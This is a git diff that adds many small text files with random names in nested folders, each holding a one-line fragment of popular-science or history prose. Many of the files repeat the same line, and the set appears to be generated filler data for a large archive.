diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_tocowajukzhuiwlmhbk.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_tocowajukzhuiwlmhbk.txt
new file mode 100644
index 0000000..89dfe63
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_tocowajukzhuiwlmhbk.txt
@@ -0,0 +1 @@
+that kind of time travel were possible, then every imaginable alternative history might in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_xdakwzeowo.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_xdakwzeowo.txt
new file mode 100644
index 0000000..89dfe63
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_xdakwzeowo.txt
@@ -0,0 +1 @@
+that kind of time travel were possible, then every imaginable alternative history might in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/jomqkfdqgpjfoezrohyqr.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/jomqkfdqgpjfoezrohyqr.txt
new file mode 100644
index 0000000..6e1005a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/jomqkfdqgpjfoezrohyqr.txt
@@ -0,0 +1 @@
+was the first person in Greece to make a sundial, a map of the known world and a celestialglobe that showed the patterns of the constellations. He believed the Sun, the Moon and the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/kohemzfqwegphkxrjv.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/kohemzfqwegphkxrjv.txt
new file mode 100644
index 0000000..382a293
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/kohemzfqwegphkxrjv.txt
@@ -0,0 +1 @@
+compete by shadowing their neighbors. If you look closely you can often see two trees
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/ktmvzchffv.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/ktmvzchffv.txt
new file mode 100644
index 0000000..d614301
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/ktmvzchffv.txt
@@ -0,0 +1 @@
+canceled out before we start. There are an infinite number of p’s and q’s we can choose.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/nofzgtrsfhhdyclrdbdhemgr.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/nofzgtrsfhhdyclrdbdhemgr.txt
new file mode 100644
index 0000000..a6fed6f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/nofzgtrsfhhdyclrdbdhemgr.txt
@@ -0,0 +1 @@
+all the satellites and the planets themselves may have been originally distributed in the form
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/olspzjajpaxocjho.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/olspzjajpaxocjho.txt
new file mode 100644
index 0000000..feaba8b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/olspzjajpaxocjho.txt
@@ -0,0 +1 @@
+when we remember that the landing sites were chosen for their dullness. But the cameras
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/pbhiqqugtvdycm.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/pbhiqqugtvdycm.txt
new file mode 100644
index 0000000..edf2eb2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/pbhiqqugtvdycm.txt
@@ -0,0 +1 @@
+Hypatia moved freely and unselfconsciously through traditional male domains. By all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/qmumttdej.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/qmumttdej.txt
new file mode 100644
index 0000000..b21625f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/qmumttdej.txt
@@ -0,0 +1 @@
+the Zodiac and the seven planets rule the fate of the world.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/rlidjdsvyufzenr.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/rlidjdsvyufzenr.txt
new file mode 100644
index 0000000..1a34fce
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/rlidjdsvyufzenr.txt
@@ -0,0 +1 @@
+some recent estimates place it at 4x 10 11 . Very few of these stars are of the massive short-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/skjagqoq.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/skjagqoq.txt
new file mode 100644
index 0000000..d7edd9c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/skjagqoq.txt
@@ -0,0 +1 @@
+particles tend to get bigger. The pungent gas, sulfur dioxide, SO 2 , is present in trace
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/vnjfewsuknxpuscqhdz.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/vnjfewsuknxpuscqhdz.txt
new file mode 100644
index 0000000..42d5281
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/vnjfewsuknxpuscqhdz.txt
@@ -0,0 +1 @@
+12 Encyclopaedia Galactica
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/xyqcqpljb.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/xyqcqpljb.txt
new file mode 100644
index 0000000..4799f8d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/xyqcqpljb.txt
@@ -0,0 +1 @@
+bloody war with another samurai clan, the Genji. Each asserted a superior ancestral claim to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/yhvhalkbbcdaulxcj.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/yhvhalkbbcdaulxcj.txt
new file mode 100644
index 0000000..df58cfd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/yhvhalkbbcdaulxcj.txt
@@ -0,0 +1 @@
+specialized functions eventually joined together, making a kind of molecular collective -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/ytsbwdyxwgqowdplhar.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/ytsbwdyxwgqowdplhar.txt
new file mode 100644
index 0000000..befc1e5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/ytsbwdyxwgqowdplhar.txt
@@ -0,0 +1 @@
+were the same thing. He said that ‘a life without festivity is a long road without an inn.’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/file_aslnvleaaf.txt b/big_zip/big-zip-files/folder_vpveoiyibn/file_aslnvleaaf.txt
new file mode 100644
index 0000000..f00d905
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/file_aslnvleaaf.txt
@@ -0,0 +1 @@
+because it is carrying up to view the complex molecules produced or concentrated at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/file_avkknazzqjp.txt b/big_zip/big-zip-files/folder_vpveoiyibn/file_avkknazzqjp.txt
new file mode 100644
index 0000000..f00d905
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/file_avkknazzqjp.txt
@@ -0,0 +1 @@
+because it is carrying up to view the complex molecules produced or concentrated at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/file_eqnrfzdt.txt b/big_zip/big-zip-files/folder_vpveoiyibn/file_eqnrfzdt.txt
new file mode 100644
index 0000000..f00d905
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/file_eqnrfzdt.txt
@@ -0,0 +1 @@
+because it is carrying up to view the complex molecules produced or concentrated at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/file_fbcxtnbuxtsgju.txt b/big_zip/big-zip-files/folder_vpveoiyibn/file_fbcxtnbuxtsgju.txt
new file mode 100644
index 0000000..f00d905
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/file_fbcxtnbuxtsgju.txt
@@ -0,0 +1 @@
+because it is carrying up to view the complex molecules produced or concentrated at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/file_hudghwyinuz.txt b/big_zip/big-zip-files/folder_vpveoiyibn/file_hudghwyinuz.txt
new file mode 100644
index 0000000..f00d905
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/file_hudghwyinuz.txt
@@ -0,0 +1 @@
+because it is carrying up to view the complex molecules produced or concentrated at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/file_kwapjsivreezbvb.txt b/big_zip/big-zip-files/folder_vpveoiyibn/file_kwapjsivreezbvb.txt
new file mode 100644
index 0000000..f00d905
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/file_kwapjsivreezbvb.txt
@@ -0,0 +1 @@
+because it is carrying up to view the complex molecules produced or concentrated at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/file_ljfogaknomiryh.txt b/big_zip/big-zip-files/folder_vpveoiyibn/file_ljfogaknomiryh.txt
new file mode 100644
index 0000000..f00d905
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/file_ljfogaknomiryh.txt
@@ -0,0 +1 @@
+because it is carrying up to view the complex molecules produced or concentrated at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/file_nqhnnllnvm.txt b/big_zip/big-zip-files/folder_vpveoiyibn/file_nqhnnllnvm.txt
new file mode 100644
index 0000000..f00d905
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/file_nqhnnllnvm.txt
@@ -0,0 +1 @@
+because it is carrying up to view the complex molecules produced or concentrated at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/file_nvjpezamitvkyralvh.txt b/big_zip/big-zip-files/folder_vpveoiyibn/file_nvjpezamitvkyralvh.txt
new file mode 100644
index 0000000..f00d905
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/file_nvjpezamitvkyralvh.txt
@@ -0,0 +1 @@
+because it is carrying up to view the complex molecules produced or concentrated at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/file_pvjhozxcidk.txt b/big_zip/big-zip-files/folder_vpveoiyibn/file_pvjhozxcidk.txt
new file mode 100644
index 0000000..f00d905
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/file_pvjhozxcidk.txt
@@ -0,0 +1 @@
+because it is carrying up to view the complex molecules produced or concentrated at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/file_vwmkhglewgmhkkfynkfsfw.txt b/big_zip/big-zip-files/folder_vpveoiyibn/file_vwmkhglewgmhkkfynkfsfw.txt
new file mode 100644
index 0000000..f00d905
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/file_vwmkhglewgmhkkfynkfsfw.txt
@@ -0,0 +1 @@
+because it is carrying up to view the complex molecules produced or concentrated at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/file_xfhjmmjwep.txt b/big_zip/big-zip-files/folder_vpveoiyibn/file_xfhjmmjwep.txt
new file mode 100644
index 0000000..f00d905
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/file_xfhjmmjwep.txt
@@ -0,0 +1 @@
+because it is carrying up to view the complex molecules produced or concentrated at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/file_zepupvdnfbmwacebts.txt b/big_zip/big-zip-files/folder_vpveoiyibn/file_zepupvdnfbmwacebts.txt
new file mode 100644
index 0000000..f00d905
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/file_zepupvdnfbmwacebts.txt
@@ -0,0 +1 @@
+because it is carrying up to view the complex molecules produced or concentrated at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_bblkkfewwcongqmiqxvdz.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_bblkkfewwcongqmiqxvdz.txt
new file mode 100644
index 0000000..d502d3d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_bblkkfewwcongqmiqxvdz.txt
@@ -0,0 +1 @@
+Edgar Rice Burroughs. I journeyed with John Carter, gentleman adventurer from Virginia,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_bomzkakuowurw.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_bomzkakuowurw.txt
new file mode 100644
index 0000000..d502d3d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_bomzkakuowurw.txt
@@ -0,0 +1 @@
+Edgar Rice Burroughs. I journeyed with John Carter, gentleman adventurer from Virginia,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_bxmqmpsehnkqlbosu.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_bxmqmpsehnkqlbosu.txt
new file mode 100644
index 0000000..d502d3d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_bxmqmpsehnkqlbosu.txt
@@ -0,0 +1 @@
+Edgar Rice Burroughs. I journeyed with John Carter, gentleman adventurer from Virginia,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_chgzlhqjhoaiidnzxmd.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_chgzlhqjhoaiidnzxmd.txt
new file mode 100644
index 0000000..d502d3d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_chgzlhqjhoaiidnzxmd.txt
@@ -0,0 +1 @@
+Edgar Rice Burroughs. I journeyed with John Carter, gentleman adventurer from Virginia,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_kxikjvukowb.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_kxikjvukowb.txt
new file mode 100644
index 0000000..d502d3d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_kxikjvukowb.txt
@@ -0,0 +1 @@
+Edgar Rice Burroughs. I journeyed with John Carter, gentleman adventurer from Virginia,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_rbxurtmwqulooats.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_rbxurtmwqulooats.txt
new file mode 100644
index 0000000..d502d3d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_rbxurtmwqulooats.txt
@@ -0,0 +1 @@
+Edgar Rice Burroughs. I journeyed with John Carter, gentleman adventurer from Virginia,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_rgdleyvcppycbhtjpou.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_rgdleyvcppycbhtjpou.txt
new file mode 100644
index 0000000..d502d3d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_rgdleyvcppycbhtjpou.txt
@@ -0,0 +1 @@
+Edgar Rice Burroughs. I journeyed with John Carter, gentleman adventurer from Virginia,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_sideretjiqyyqjrkkfflyilx.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_sideretjiqyyqjrkkfflyilx.txt
new file mode 100644
index 0000000..d502d3d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_sideretjiqyyqjrkkfflyilx.txt
@@ -0,0 +1 @@
+Edgar Rice Burroughs. I journeyed with John Carter, gentleman adventurer from Virginia,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_tfilgvmaezzjmkbhz.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_tfilgvmaezzjmkbhz.txt
new file mode 100644
index 0000000..d502d3d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_tfilgvmaezzjmkbhz.txt
@@ -0,0 +1 @@
+Edgar Rice Burroughs. I journeyed with John Carter, gentleman adventurer from Virginia,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_tlbcvtllsnucedj.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_tlbcvtllsnucedj.txt
new file mode 100644
index 0000000..d502d3d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_tlbcvtllsnucedj.txt
@@ -0,0 +1 @@
+Edgar Rice Burroughs. I journeyed with John Carter, gentleman adventurer from Virginia,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_ublyctccburzsdhtgumsz.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_ublyctccburzsdhtgumsz.txt
new file mode 100644
index 0000000..d502d3d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_ublyctccburzsdhtgumsz.txt
@@ -0,0 +1 @@
+Edgar Rice Burroughs. I journeyed with John Carter, gentleman adventurer from Virginia,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_uppvxewnmjibf.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_uppvxewnmjibf.txt
new file mode 100644
index 0000000..d502d3d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_uppvxewnmjibf.txt
@@ -0,0 +1 @@
+Edgar Rice Burroughs. I journeyed with John Carter, gentleman adventurer from Virginia,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_xvkatbnidtjt.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_xvkatbnidtjt.txt
new file mode 100644
index 0000000..d502d3d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_xvkatbnidtjt.txt
@@ -0,0 +1 @@
+Edgar Rice Burroughs. I journeyed with John Carter, gentleman adventurer from Virginia,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_ymfdcsamcawxczvx.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_ymfdcsamcawxczvx.txt
new file mode 100644
index 0000000..d502d3d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_ymfdcsamcawxczvx.txt
@@ -0,0 +1 @@
+Edgar Rice Burroughs. I journeyed with John Carter, gentleman adventurer from Virginia,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_yqvqcrdx.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_yqvqcrdx.txt
new file mode 100644
index 0000000..d502d3d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/file_yqvqcrdx.txt
@@ -0,0 +1 @@
+Edgar Rice Burroughs. I journeyed with John Carter, gentleman adventurer from Virginia,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_difjdjuwodyjpzncxpsdjdc.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_difjdjuwodyjpzncxpsdjdc.txt
new file mode 100644
index 0000000..77b4461
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_difjdjuwodyjpzncxpsdjdc.txt
@@ -0,0 +1 @@
+The Earth is now thoroughly explored. It no longer promises new continents or lost
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_ezhetovboorcugfhfz.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_ezhetovboorcugfhfz.txt
new file mode 100644
index 0000000..77b4461
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_ezhetovboorcugfhfz.txt
@@ -0,0 +1 @@
+The Earth is now thoroughly explored. It no longer promises new continents or lost
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_ezhwgvrhdyisute.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_ezhwgvrhdyisute.txt
new file mode 100644
index 0000000..77b4461
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_ezhwgvrhdyisute.txt
@@ -0,0 +1 @@
+The Earth is now thoroughly explored. It no longer promises new continents or lost
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_fpciqfsgpgdwqvecvrdc.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_fpciqfsgpgdwqvecvrdc.txt
new file mode 100644
index 0000000..77b4461
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_fpciqfsgpgdwqvecvrdc.txt
@@ -0,0 +1 @@
+The Earth is now thoroughly explored. It no longer promises new continents or lost
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_gldxcckzsgxvb.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_gldxcckzsgxvb.txt
new file mode 100644
index 0000000..77b4461
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_gldxcckzsgxvb.txt
@@ -0,0 +1 @@
+The Earth is now thoroughly explored. It no longer promises new continents or lost
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_lbfzjfgjd.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_lbfzjfgjd.txt
new file mode 100644
index 0000000..77b4461
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_lbfzjfgjd.txt
@@ -0,0 +1 @@
+The Earth is now thoroughly explored. It no longer promises new continents or lost
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_lmnonugrqkayxu.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_lmnonugrqkayxu.txt
new file mode 100644
index 0000000..77b4461
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_lmnonugrqkayxu.txt
@@ -0,0 +1 @@
+The Earth is now thoroughly explored. It no longer promises new continents or lost
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_otkzvnhywmndzmfj.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_otkzvnhywmndzmfj.txt
new file mode 100644
index 0000000..77b4461
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_otkzvnhywmndzmfj.txt
@@ -0,0 +1 @@
+The Earth is now thoroughly explored. It no longer promises new continents or lost
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_owwcjyhqcsqocbzqwr.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_owwcjyhqcsqocbzqwr.txt
new file mode 100644
index 0000000..77b4461
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_owwcjyhqcsqocbzqwr.txt
@@ -0,0 +1 @@
+The Earth is now thoroughly explored. It no longer promises new continents or lost
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_pdcccrihgodppmagt.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_pdcccrihgodppmagt.txt
new file mode 100644
index 0000000..77b4461
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_pdcccrihgodppmagt.txt
@@ -0,0 +1 @@
+The Earth is now thoroughly explored. It no longer promises new continents or lost
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_ptszcxuuwnbrebjlm.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_ptszcxuuwnbrebjlm.txt
new file mode 100644
index 0000000..77b4461
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_ptszcxuuwnbrebjlm.txt
@@ -0,0 +1 @@
+The Earth is now thoroughly explored. It no longer promises new continents or lost
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_qkusyumcpu.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_qkusyumcpu.txt
new file mode 100644
index 0000000..77b4461
--- /dev/null
